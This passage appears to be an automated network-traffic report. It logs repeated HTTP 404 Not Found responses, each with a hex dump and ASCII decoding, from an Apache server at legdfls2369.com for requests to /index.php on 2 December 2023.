Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:20 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:21 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:21 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:22 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:22 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:24 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:25 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:25 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:26 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:26 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:27 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Dec 2023 17:02:27 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 412Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE 